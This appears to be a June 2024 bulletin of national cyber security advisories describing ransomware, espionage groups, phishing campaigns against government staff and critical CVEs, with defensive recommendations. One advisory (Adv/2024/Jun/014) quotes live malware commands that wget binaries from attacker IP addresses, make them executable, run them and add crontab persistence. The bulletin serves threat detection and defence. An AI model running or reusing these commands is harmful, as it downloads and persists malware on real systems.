**Cyber Security Advisories**

**Date: 17 June 2024**

1. **Adv/2024/May/069**

**Phobos Ransomware:**

It has been observed that Phobos ransomware, a structured Ransomware-as-a-Service (RaaS), has similar TTPs with numerous variants including Elking, Eight, Devos, Backmydata and Faust ransomware and is targeting critical sectors. It gains initial access to vulnerable networks by leveraging phishing campaigns to drop hidden payloads or using internet protocol scanning tools such as Angry IP Scanner to search for vulnerable Remote Desktop Protocol (RDP) ports by using RDP on Microsoft Windows Environments. It uses various commands to perform various Windows shell functions. The Windows command shell enables threat actors to control various aspects of the system, with multiple permission levels required for different subsets of commands. Phobos is capable of bypassing organisational network defense protocols by modifying system firewall configurations. It has been observed that the adversary is using Windows Startup folders and Run Registry Keys to maintain persistence within compromised environments. It uses open source tools such as Bloodhound and Sharphound to enumerate the active directory. It uses WinSCP and Mega.io for file exfiltration. After exfiltration, the threat actor uses Windows Management Instrumentation Command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments.

**Akira Ransomware:**

Refer Advisory No: Adv/2024/Apr/035  dated  19 Apr 2024 Cyber Security Advisory: Akira\_v2 Ransomware.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024May069\_Phobos.txt attached**

**IOC\_Adv2024May069\_Akira.txt attached**

**IOC\_Adv2024May069.txt attached**

**Recommendations:**

* It is recommended that organisations should apply the attached IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Implement application controls to manage and control execution of software, including allowlisting remote access programs.
* Implement log collection best practices and use intrusion detection systems to defend against threat actors manipulating firewall configurations through early detection.
* Strictly limit the use of RDP and other remote desktop services.
* Disable command-line and scripting activities and permissions.
* Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
* Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege (PoLP).
* Implement time-based access for accounts at the admin level and higher.
* Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location.
* Maintain offline backups of data and regularly maintain backup and restoration.
* Require phishing-resistant multifactor authentication (MFA) for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems.
* Segment networks to prevent the spread of ransomware.
* Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking-monitoring tool.
* Install, regularly update, and enable real time detection for antivirus software on all hosts.
* Disable unused ports and protocols.
* Consider adding an email banner to emails received from outside your organization.
* Disable hyperlinks in received emails.

1. **Adv/2024/May/070**

Presence of Quest Stealer has been found in Indian Cyberspace.

PFA IOCs in this regard.

**IOCs: IOC\_Adv2024May070.txt attached**

1. **Adv/2024/Jun/001**

Charming Kitten, also known as APT42, Mint Sandstorm, TA453, a long-running espionage group known for its advanced social engineering techniques, is using spearphishing emails to compromise systems. In one of the infection chains, Charming Kitten used spearphishing emails to direct targets towards password-protected RAR archives containing LNK files, which either delivered BASICSTAR (Visual Basic Malware) or a Powershell script called KORKULOADER. In another infection chain, group leveraged spearphishing emails to encourage targets to download malicious VPN applications. Charming Kitten continues to set up servers and register domains as part of credential harvesting operations.

**IOCs: IOC\_Adv2024Jun001.txt attached**

**Recommendation:**

* It is recommended that organisations should apply the attached IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.

1. **Adv/2024/Jun/002**

Presence of malicious IoCs are found in Indian Cyberspace related to APT36 and some other unknown threat actors.

**IOCs: IOC\_Adv2024Jun002.txt attached**

1. **Adv/2024/Jun/003**

It has been observed that SocGholish, also known as FakeUpdates, is a JavaScript malware framework that is distributed via compromised websites by prompting users to download malicious browser updates. The malware deployed by TA569 and other various threat actors, by injecting malicious initial scripts into compromised websites. The initial script injected loads script from secondary server whose domains known as middleware domains.  SocGholish uses three different styles for script injection. The simplest way is to insert a script tag with the src attribute pointing to a remote script file. Another way is to inject a self-executing anonymous function whose code injects a script element into the page. The third way for scripts to be injected is by using JavaScript code to add a script element to the page, without any encapsulation. The SocGholish operators tend to inject multiple blocks of code within a single compromised page, which is each set up to contact a different URL. The largest proportion of SocGholish's infrastructure comprises the middleware domains, where the middleware scripts are hosted. Most of the middleware domains share common IP addresses.

**IOCs: IOC\_Adv2024Jun003.txt attached**

1. **Adv/2024/Jun/004**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains and phishing web pages. The Spear-phishing email contains a hyperlink with the title “Revised LTC Checklist”. Upon clicking, the hyperlink redirects and downloads an archive file named “Amended copy.rar”. Further upon extraction, a file “Amended Copy.Cpl” is downloaded, which is a CPL (Control Panel File) file of Windows Operating System (OS). On double-click, “Amended copy.cpl” executes like a regular window executable file .exe file and renames CPL file to DLL file. The file performs the following functions: -

a. Execution (Scripting, PowerShell)

b. Privilege Escalation (Process execution)

c. Defense Evasion (Masquerading, Virtualization/Sandbox Evasion, Disable or Modify Tools, DLL side Loading, Rundll32, Software Packing, Reflective Code Loading)

d. Discovery (Security Software Discovery, Process Discovery, System Information Discovery, Account Discovery, File and Directory Discovery, Virtualization/Sandbox Evasion)

e. Command and Control (Application Layer Protocol)

f. Credential (Input Capture) g. Persistence (DLL Side-Loading)

h. Collection (Input Capture)

The IP address and malicious domain are malicious and currently active to compromise the user credentials/propagate malware payload.

**IOCs: IOC\_Adv2024Jun004.txt attached**

1. **Adv/2024/Jun/005**

Reference is made to earlier advisories on the above subject.

PFA additional IOCs in this regard.

**IOCs: IOC\_Adv2024Jun005.txt attached**

1. **Adv/2024/Jun/006**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains and phishing web pages. The Spear-phishing email contains an archive file named “Pass\_Protected\_Doc2.zip” which contains 2 files, “Declaration of Savings\_IT\_Offrs FY 2023-24-protected.pdf” and “Password.elf”, which is a malware file. ELF file is an UPX Compressed malware file of the Linux Operating System (OS). Upon clicking, it then uncompress itself with the UPX decompression method and executes.   Password.elf is a PDF file. The attacker is misguiding the victim by giving the name password.elf. Upon clicking, the PDF file asks for a password and in the background it executes a suspicious process in the ‘/tmp’ folder. It makes a connection with a Command & Control (C2) server and performs the following functions:

a. Defense Evasion  (Obfuscated Files or Information, Indicator file Removal, Hidden Files and  Directories)

b. Discovery (Security Software Discovery)

c. Command and Control (Application Layer Protocol)

This IP address is malicious and currently active in compromising the user credentials/propagate malware payload.

**IOCs: IOC\_Adv2024Jun006.txt attached**

1. **Adv/2024/Jun/007**

It has been observed that threat actors are using SuperJumper, a large geographically dispersed covert network deployed with the Platypus framework tool to manage its relay nodes for malicious activities. Platypus open source tool is designed to simplify the management of multiple reverse shells with the three main interfaces, i.e. the administration web panel interface, the 'Reverse-Shell-as-a-Service' listener interface and the 'Termite' listener interface. Termite is an upgraded shell allowing for increased capability on victim machines. SuperJumper network supports multi-hop proxying of traffic and contains various certificates such as Management Certificate, Termite banner, Network Certificate 1 and Network Certificate 2 associated with Management Infrastructure & Network Infrastructure. Platypus framework connects to the Command & Control (C2) server to exfiltrate victims system information’s.

**IOCs: IOC\_Adv2024Jun007.txt attached**

1. **Adv/2024/Jun/008**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

**IOCs: IOC\_Adv2024Jun008.txt attached**

1. **Adv/2024/Jun/009**

Presence of malicious IoCs are found in Indian Cyberspace related to various Advanced Persistent Threat (APT) groups, i.e. SideCopy, EarthKrahang and CoralRaider.

Threat actors SideCopy, Earth Krahang & CoralRaider are primarily targeting defense establishments and government agencies. Adversary performs cyber-espionage operations with the intent of collecting sensitive information. Adversaries send spear-phishing emails with malicious attachments to compromise systems. CoralRaider uses RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads in the campaign.

**IOCs: IOC\_Adv2024Jun009.txt attached**

1. **Adv/2024/Jun/010**

It has been observed that LATRODECTUS, a malware loader, downloads and executes encrypted payloads like ICEDID. Adversary is using malicious email campaigns to deliver LATRODECTUS malware. The infection chain involves oversize JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share. Malware masquerades itself as a component of Bitdefender’s kernel-mode driver. All the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying transformation by performing arithmetic and bitwise operations. It encrypts its requests using base64 and RC4 with a hardcoded password. The core functionality is driven through its command handlers. These handlers are used to collect information from the victim's machine, provide execution capabilities as well as configure the implant.

I**OCs: IOC\_Adv2024Jun010.txt attached**

1. **Adv/2024/Jun/011**

**Vulnerability in B&R Automation**

It has been discovered FTP uses unsecure encryption mechanism in the B&R Automation Runtime version prior to I4.93 that may allow Man in the Middle (MITM) attacks or to decrypt communications between the affected products and other parties. Security update is available.

CVE ID: CVE-2024-0323 (Critical)

**Vulnerability in Login with phone number plugin for WordPress**

Authentication bypass vulnerability has been discovered in the Login with phone number plugin for WordPress. The affected versions are Login with phone number plugin for WordPress versions up to, and including, 1.7.26.

CVE ID: CVE-2024-5150 (Critical)

1. **Adv/2024/Jun/012**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

**IOCs: IOC\_Adv2024Jun012.txt attached**

1. **Adv/2024/Jun/013**

**Vulnerability in Startklar Elementor Addons plugin for WordPress**

A directory traversal vulnerability has been discovered in Startklar Elementor Addons plugin for WordPress. The affected versions are Startklar Elementor Addons plugin for WordPress all versions up to, and including, 1.7.15.

CVE ID: CVE-2024-5153 (Critical)

**Vulnerability in LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress**

A SQL injection vulnerability has been discovered in LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress. The affected versions are LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress, all versions up to, and including, 7.6.2.

CVE ID: CVE-2024-4743 (Critical)

**Vulnerability in DeluxeThemes Userpro**

An improper privilege management vulnerability has been discovered in DeluxeThemes Userpro that allows privilege escalation. The affected versions are DeluxeThemes Userpro from n/a through 5.1.8.

CVE ID: CVE-2024-35700 (Critical)

**Vulnerability in Social Login Lite For WooCommerce plugin for WordPress**

An authentication bypass vulnerability has been discovered in Social Login Lite For WooCommerce plugin for WordPress. The affected versions are Social Login Lite For WooCommerce plugin for WordPress versions up to, and including, 1.6.0.

CVE ID: CVE-2024-4552 (Critical)

**Vulnerability in XPodas Octopod**

An authentication bypass vulnerability has been discovered in XPodas Octopod. The affected version is Octopod before v1.

CVE ID: CVE-2024-1202 (Critical)

**Vulnerability in Kashipara Billing Software**

A SQL injection vulnerability has been discovered in Kashipara Billing Software. The affected version is Kashipara Billing Software 1.0.

CVE ID: CVE-2024-0496 (Critical)

1. **Adv/2024/Jun/014**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains and phishing web pages. The spear-phishing email contains an archive file named “IAFT - 1715.zip”. Upon clicking the archive file, it extracts the “LTC\_checklist.desktop”, which is a malicious file. On click, LTC\_checklist.desktop file, a PDF file named “LTC\_Outline.pdf” is downloaded and opened. This PDF file is not malicious, it is used as a decoy to convince the victim of the legitimacy of the mail. In the background, the following multiple commands are executed:-

* wget 165.22.221.71/distro-dlna -O ~/.local/share/fonts-utils && chmod +x ~/.local/share/fonts-utils
* ~/.local/share/fonts-utils >/dev/null 2>&1 & sleep 5f wget 178.128.166.148/cjs-bin -O
* ~/.local/share/cjs-bin && chmod +x ~/.local/share/cjs-bin
* ~/.local/share/cjs-bin
* echo '@reboot ~/.local/share/cjs-bin'>>/dev/shm/myc.txt
* echo '@reboot ~/.local/share/fonts-utils'>>/dev/shm/myc.txt
* crontab -u `whoami` /dev/shm/myc.txt
* rm /dev/shm/myc.txt;~/.local/share/cjs-bin
* rm /dev/shm/myc.txt;~/.local/share/fonts-utils &

These commands download two ELF Linux Poseidon malware files named cjs-bin and distro-dlna and saves them in local directories and changes their permission and executes them. Upon execution, these files connect with a Command & Control (C2) server.

**IOCs: IOC\_Adv2024Jun014.txt attached**

1. **Adv/2024/Jun/015**

Reference is made to earlier advisory - Adv/2024/Feb/038 dated 13 Feb 2024 with subject - Cyber Security Advisory: BlackSuit Ransomware rebranding of Royal Ransomware.

It has been observed that BlackSuit ransomware actors are using several open-source tools & new Tactics, Techniques and Procedures (TTPs) that include Microsoft PowerToys for lateral movement, SuperGrate, Windows User Profile backup & migration utility and DCSync for compromising credentials.

The adversary gained initial access using legitimate credentials obtained from unknown sources to compromise a VPN account that does not require Multi Factor Authentication (MFA). Then, adversary brute forced a domain administrator account that had weak credentials and used the administrative privileges to conduct credential harvesting as well as kerberoasting activity, i.e. an attack method for cracking password hashes for service accounts in Active Directory. The obtained credentials are used to facilitate lateral movement via the Windows Management Instrumentation Command-line (WMIC) and PsExec utilities impacting VMware ESXi hosts & VMs. To assist with staging and exfiltrating data, the threat actor uses common Windows utilities such as WinSCP, an SFTP & FTP client, and WinRAR, a file archiver utility, as well as the open-source file archive and transfer applications PuTTY & 7-Zip. Adversaries have used LoLBins and open-source tools to hide malicious activity among seemingly legitimate traffic. After the initial infection, adversaries use the victim’s Active Directory domain administrator accounts to deploy variants of BlackSuit ransomware.  The adversary uploads a VM to the victim’s network, because deploying malware on a VM can bypass security controls. In VM, the adversary executes the AnyDesk remote management tool and the Cobalt Strike framework for Command & Control (C2).

**IOCs: IOC\_Adv2024Jun015.txt attached**

**Recommendations:**

* It is recommended that organisations should apply the attached IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Implement MFA on all internet-exposed and critical networks/services, such as VPN endpoints. Monitor for unexpected MFA registrations of new devices or creation of bypass tokens that are not expected and validate their legitimacy.
* Monitor and prevent unnecessary and/or unauthorized use of system administration tools, such as PowerShell, adhering to zero trust principles.
* Monitor for newly created files or changes to files in user directories; unexpected network shares being accessed on target systems or on many systems; any changes to GPOs; and newly created processes.
* Proactively and regularly create and test backups of all data and systems, storing them securely offline. Protect backup systems by segmenting them from the standard AD environment, and ensure key backups are stored either using offline media or entirely offsite.
* Use secure and unique passwords, especially for local admin accounts, service accounts, domain admin accounts, backup operators, and enterprise admins.
* Make sure the Authentication, Authorization, and Accounting (AAA) authentication is not used for VPNs as a backup, and audit VPN endpoints to remove old AAA accounts.
* Implement Windows AppLocker, which can be used to create rules to allow or deny apps from running based on information about the apps' files.

1. **Adv/2024/Jun/016**

It has been observed that an espionage-motivated Advanced Persistent Threat (APT) actor, LilacSquid is involved in a data theft campaign. Adversary after successfully, comprising vulnerable application servers exposed to the internet, deployed MeshAgent, an open-source remote management tool and a customized variant of QuasarRAT known as PurpleInk as primary implants. The campaign leverages vulnerabilities in public-facing servers and compromised Remote Desktop Protocol (RDP) credentials to orchestrate the deployment of open-source tools. The purpose of the campaign is to establish long-term access to compromised victim organizations to enable LilacSquid to extract data and send to Command & Control (C2) servers.

**IOCs: IOC\_Adv2024Jun016.txt attached**

1. **Adv/2024/Jun/017**

It has been observed that a malware campaign called “Operation Celestial Force” is using “GravityRAT”, an Android-based malware and “HeavyLift”, a Windows-based malware for espionage and surveillance on their targets. This operation is run by the threat actor “Cosmic Leopard”. The tactics, techniques, tooling and victimology of the Cosmic Leopard overlap with the Transparent Tribe. Adversaries use low-sophisticated techniques such as social engineering and spear phishing, to target victims with various TTPs. Spear phishing consists of messages sent to targets with pertinent language and maldocs that contain malware. The other infection vector is contacting targets over social media channels, establishing trust in them and sending malicious links to download either the Windows or Android-based malware.

Operation Celestial Force’s malware and their management interfaces:-

* GravityRAT: It is a Windows and Android-based Remote Access Trojan (RAT).
* HeavyLift: It is an electron-based malware loader family distributed via malicious installers targeting the Windows operating system.
* GravityAdmin: It is a tool to administer infected systems, used by adversaries for connecting to GravityRAT’s and HeavyLift’s with Command & Control (C2) servers. GravityAdmin consists of multiple inbuilt User Interfaces (UIs) that correspond to specific, codenamed, campaigns being operated by malicious operators.

The latest variant of GravityRAT is distributed through malicious websites, pretending to distribute legitimate Android applications. It uses Cloudflare service to hide the true location of their C2 servers. This variant is capable of performing the below functions:-

* Send preliminary information about the device to the C2. This information includes IMEI, phone number, network country, ISO code, network operator name, SIM country, ISO code, SIM operator name, SIM serial number, device model, brand, product and manufacturer, addresses surrounding the obtained longitude and latitude of device and the current build information, including release, host, etc.
* Read SMS data and content and upload to C2.
* Read specific file formats and upload them to C2.
* Read call logs and upload them to C2.
* Obtain IMEI information including associated email ID and send it to C2.
* Delete all contacts, call logs and files related to the malware

The HeavyLift malware infection begins with an executable masquerading as an installer for a legitimate application. The installer installs not only a dummy application but also installs & sets up a malicious Electron-based desktop application, HeavyLift that consists of JavaScript code & carries out malicious operations on the infected system. This malware obtains preliminary system information such as- Processor ID, MAC address, Installed antivirus product name, Username, Domain name, Platform information, Process, OS architecture, Agent (hardcoded value) and OS release number. After the preliminary information is sent to the hardcoded C2 server URL, HeavyLift reached out to the C2 server to poll for new payloads to execute on the infected system. A payload received from C2 will be dropped to a directory in the “AppData” directory and persisted on the system. The malware opens the accompanying HTML file via web view to appear legitimate.

**IOCs: IOC\_Adv2024Jun017.txt attached**

1. **Adv/2024/Jun/018**

Reference is made to earlier advisories on APT Stately Taurus.

Presence of malicious IoCs are found in Indian Cyberspace related to  Advanced Persistent Threat (APT) group Stately Taurus.

APT Stately Taurus also known as Mustang Panda, Bronze President, Red Delta, Luminous Moth, Earth Preta & Camaro Dragon primarily targets Government and Telecom Sectors. The threat actor uses spear phishing techniques for launching malicious campaigns using PlugX & Poison Ivy.

**IOCs: IOC\_Adv2024Jun018.txt attached**

1. **Adv/2024/Jun/019**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

**IOCs: IOC\_Adv2024Jun019.txt attached**

1. **Adv/2024/Jun/020**

Reference is made to earlier advisory with advisory no - Adv/2024/Apr/036 subject -  CoralRaider dated 19 Apr 2024.

Presence of malicious IOCs related to threat actor CoralRaider still exists in Indian CyberSpace.

**IOCs: IOC\_Adv2024Jun020.txt attached**

1. **Adv/2024/Jun/021**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

**IOCs: IOC\_Adv2024Jun021.txt attached**

1. **Adv/2024/Jun/022**

**Vulnerability in Dokan Pro plugin for WordPress**

A SQL injection vulnerability has been discovered in the Dokan Pro plugin for WordPress. The affected versions are the Dokan Pro plugin for WordPress all versions up to, and including, 3.10.3.

CVE ID: CVE-2024-3922 (Critical)

**Vulnerability in SoftLab Upload Fields for WPForms**

A missing authorization vulnerability has been discovered in SoftLab Upload Fields for WPForms. The affected versions are SoftLab Upload Fields for WPForms from n/a through 1.0.2.

CVE ID: CVE-2024-35661 (Critical)

**Vulnerability in WPDeveloper EmbedPress**

A missing authorization vulnerability has been discovered in WPDeveloper EmbedPress. The affected versions are EmbedPress from n/a through 3.9.8.

CVE ID: CVE-2024-31284 (Critical)

**Vulnerability in Startklar Elementor Addons plugin for WordPress**

A directory traversal vulnerability has been discovered in Startklar Elementor Addons plugin for WordPress. The affected versions are Startklar Elementor Addons plugin for WordPress all versions up to, and including, 1.7.15.

CVE ID: CVE-2024-5153 (Critical)

**Vulnerability in LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress**

A SQL injection vulnerability has been discovered in LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress. The affected versions are LifterLMS – WordPress LMS Plugin for eLearning plugin for WordPress, all versions up to, and including, 7.6.2.

CVE ID: CVE-2024-4743 (Critical)

**Vulnerability in DeluxeThemes Userpro**

An improper privilege management vulnerability has been discovered in DeluxeThemes Userpro that allows privilege escalation. The affected versions are DeluxeThemes Userpro from n/a through 5.1.8.

CVE ID: CVE-2024-35700 (Critical)

**Adobe Security Updates**

Adobe has released security updates to address multiple critical, high, and medium vulnerabilities in Adobe software products. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-30299 (Critical), CVE-2024-30300 (Critical), CVE-2024-34108 (Critical), CVE-2024-34102 (Critical)

**Vulnerability in Intrado's Equipment**

A SQL injection vulnerability has been discovered in Intrado's Equipment- 911 Emergency Gateway (EGW) that allow to execute malicious code, exfiltrate data, or manipulate the database. All versions of 911 Emergency Gateway (EGW) are affected.

CVE ID: CVE-2024-1839 (Critical)

**Multiple Vulnerabilities in Siemens Products**

Multiple vulnerabilities have been discovered in several Siemens products. Siemens has released security updates, workarounds and mitigations to resolve vulnerabilities.

CVE ID: CVE-2023-44373 (Critical), CVE-2023-41910 (Critical), CVE-2024-36266 (Critical), CVE-2024-30207 (Critical), CVE-2024-30209 (Critical), CVE-2024-33499 (Critical), CVE-2023-41910 (Critical)

**Multiple Vulnerabilities in Hitachi Energy**

Multiple vulnerabilities have been discovered in Hitachi Energy products. Hitachi Energy has released security updates, workarounds and mitigations to resolve vulnerabilities.

CVE ID: CVE-2024-2013 (Critical), CVE-2024-2012 (Critical), CVE-2024-2011 (High), CVE-2024-28020 (High), CVE-2024-28021 (High), CVE-2024-28022 (High), CVE-2024-28023 (Medium), CVE-2024-28024 (Low), CVE-2024-2461 (Medium), CVE-2024-2462 (Medium)

**Vulnerability in Pichome**

A file upload vulnerability has been discovered in Pichome that allows to execute arbitrary code via crafted POST request. The affected version is Pichome v.1.1.01.

CVE ID: CVE-2024-24393 (Critical)

**Vulnerability in Apache HugeGraph**

Apache HugeGraph is affected by the Remote Command Execution (RCE) vulnerability assigned to CVE-2024-27348. This issue affects Apache HugeGraph-Server from 1.0.0 before 1.3.0 in Java8 & Java11. Users are recommended to upgrade to version 1.3.0 with Java11 & enable the Auth. system, which fixes the issue.

Attack Vectors:-

Remote Code Execution

Remote Command Execution

Command Injection

Privilege Escalation

Abuse of Application Functionality

Target Destination Manipulation

MITRE ATT&CK:-

T1190 (Exploit Public-Facing Application)

T1203 (Exploitation for Client Execution)

**VULNERABILITY in Login Signup Popup Plugin**

The Login/Signup Popup (Inline Form + Woocommerce) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'import\_settings' function in versions 2.7.1 to 2.7.2. This makes it possible for authenticated adversaries, with Subscriber-level access and above, to change arbitrary options on affected sites. This can be used to enable new user registration and set the default role for new users to Administrator. It has been assigned with CVE-2024-5324.

Attack Vectors:-

Privilege Escalation

Missing authorization

Abuse of Application Functionality

**VULNERABILITY in Linux Kernel**

A use-after-free vulnerability (CVE-2023-3390) has been found in the Linux kernel’s netfilter subsystem.  Use After Free (UAF) is a vulnerability related to incorrect use of dynamic memory during program operation that allows a local adversary with user access to cause a privilege escalation issue.

Attack Vectors:

Memory Corruption

use-after-free

Out-of-Bounds Read

Privilege Escalation

Abuse of Application Functionality

Command Injection

**Vulnerability in Progress Telerik Report**

An authentication bypass vulnerability (CVE-2024-4358) has been discovered in Telerik Report Server that allows access to Telerik Report Server restricted functionality. The affected products are Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier.

Attack Vectors:-

Target Destination Manipulation

Remote Code Execution

Exploit Chain

Insecure Deserialization

Web Application Exploitation

Cross site scripting

1. **Adv/2024/Jun/023**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains and phishing web pages.

**Modus Operandi of the Phishing Attack: -**

1. The Spear-phishing email contains a hyperlink hxxps://email.niccert.site/", which is a mimicked/cloned page. The IP address of the malicious domain “niccert[.]site” is hosted with other sites on the server. The IP address is malicious, but currently it is in an inactive state.

2. The Spear-phishing email contains a button with the title “VERIFY EMAIL NOW”. Upon clicking, the button redirects to a malicious URL which is a mimicked/cloned phishing page of mea.gov.in. This phishing page asks for the victim's email ID and password. The IP address of malicious domain which is used for sending email is hosted on a dedicated server and is currently active to compromise the user credentials/propagate malware payload.

3. The Spear-phishing email contains two files – “gen corres.docx”, which is a non-malicious file and the other is “claim summary.rar”, which is a malicious file of Window Operating System (OS). Upon extraction of the rar file, it contains a “claim summary.iso” which is a password protected ISO file. This ISO file contains a macro embedded Excel file “claim summary.xlam”. Upon execution, it drops a screen saver file in the background. This dropped file executes and spawns a process “verclsid.exe”. This malicious executable performs the below functions:-

      a) Execution (Scripting, Power Shell)

      b) Discovery (Security Software Discovery)

      c) Command and Control  (Application Layer Protocol,Web Protocols,Non-Application Layer Protocol, Encrypted     Channel)

      d) Defense Evasion ( Hidden Files and Directories, Scripting, Indirect Command Execution)

These IoCs are malicious and active in compromising the user credentials/propagate malware payload.

**IOCs: IOC\_Adv2024Jun023.txt attached**